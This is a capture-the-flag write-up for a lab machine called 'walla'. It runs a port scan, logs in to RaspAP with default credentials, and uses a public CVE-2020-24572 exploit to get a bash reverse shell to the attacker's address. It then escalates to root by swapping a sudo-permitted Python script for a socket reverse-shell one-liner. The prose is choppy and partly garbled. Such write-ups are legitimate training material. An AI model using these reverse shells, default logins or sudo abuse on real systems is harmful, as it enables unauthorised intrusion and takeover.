

```

(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.169.97 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.169.97:22
Open 192.168.169.97:23
Open 192.168.169.97:25
Open 192.168.169.97:53
Open 192.168.169.97:422
Open 192.168.169.97:8091
Open 192.168.169.97:42042

PORT      STATE SERVICE    REASON  VERSION
22/tcp    open  ssh        syn-ack  OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
23/tcp    open  telnet     syn-ack  Linux telnetd
25/tcp    open  smtp       syn-ack  Postfix smtpd
53/tcp    open  tcpwrapped syn-ack
422/tcp   open  ssh        syn-ack  OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8091/tcp   open  http       syn-ack  lighttpd 1.4.53
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_    httponly flag not set
| http-auth:
|   HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=RaspAP
|_ http-server-header: lighttpd/1.4.53
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
42042/tcp open  ssh        syn-ack  OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
```can8091port`RaspAP`,google `default credential``admin/secret`,login[About]
(http://192.168.169.97:8091/index.php?page=about) `RaspAP v2.5` [CVE-2020-24572]
(https://github.com/gerbsec/CVE-2020-24572-POC/blob/main/exploit.py) use

```

```

(kali㉿kali)-[~/pgplay]
└─$ r1wrap -cAr nc -nvlp25

(kali㉿kali)-[~/pgplay]
└─$ python3 exploit.py 192.168.169.97 8091 192.168.45.227 25 secret 2
[!] Using Reverse Shell: /bin/bash -c 'bash -i >& /dev/tcp/192.168.45.227/25 0>&1'
[!] Sending activation request - Make sure your listener is running ...
[>>>] Press ENTER to continue ...

```

[!] You should have a shell :)

[!] Remember to check `sudo -l` to see if you can get root through `/etc/raspap/lighttpd/configport.sh`  
 ``` get reverseshell,/home/walterget local.txt

```

www-data@walla:/home/walter$ cat local.txt
f21dff835578d57599ac52d168d3f445
``` Check`sudo -l`,`can`wifi_reset.py`

```

```

www-data@walla:/home/walter$ sudo -l
sudo -l
Matching Defaults entries for www-data on walla:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

```

User www-data may run the following commands on walla:

```

(ALL) NOPASSWD: /sbin/ifup
(ALL) NOPASSWD: /usr/bin/python /home/walter/wifi_reset.py
(ALL) NOPASSWD: /bin/systemctl start hostapd.service
(ALL) NOPASSWD: /bin/systemctl stop hostapd.service
(ALL) NOPASSWD: /bin/systemctl start dnsmasq.service
(ALL) NOPASSWD: /bin/systemctl stop dnsmasq.service
(ALL) NOPASSWD: /bin/systemctl restart dnsmasq.service
``` Firstwifi_reset.py,,download

```

```
www-data@walla:/home/walter$ mv wifi_reset.py wifi_reset.py_1

## wifi_reset.py
import
socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.45.227", 23)); o
s.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); import pty; pty.spawn("/bin/sh")

└─(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp23

www-data@walla:/home/walter$ wget 192.168.45.227/wifi_reset.py
www-data@walla:/home/walter$ sudo /usr/bin/python /home/walter/wifi_reset.py
``` wait for reverse shell
```

## whoami

root

## python -c 'import pty; pty.spawn("/bin/bash")'

```
root@walla:/home/walter#
root@walla:~# cat proof.txt
525bb8da21d842b42df39b3537be6913
```

---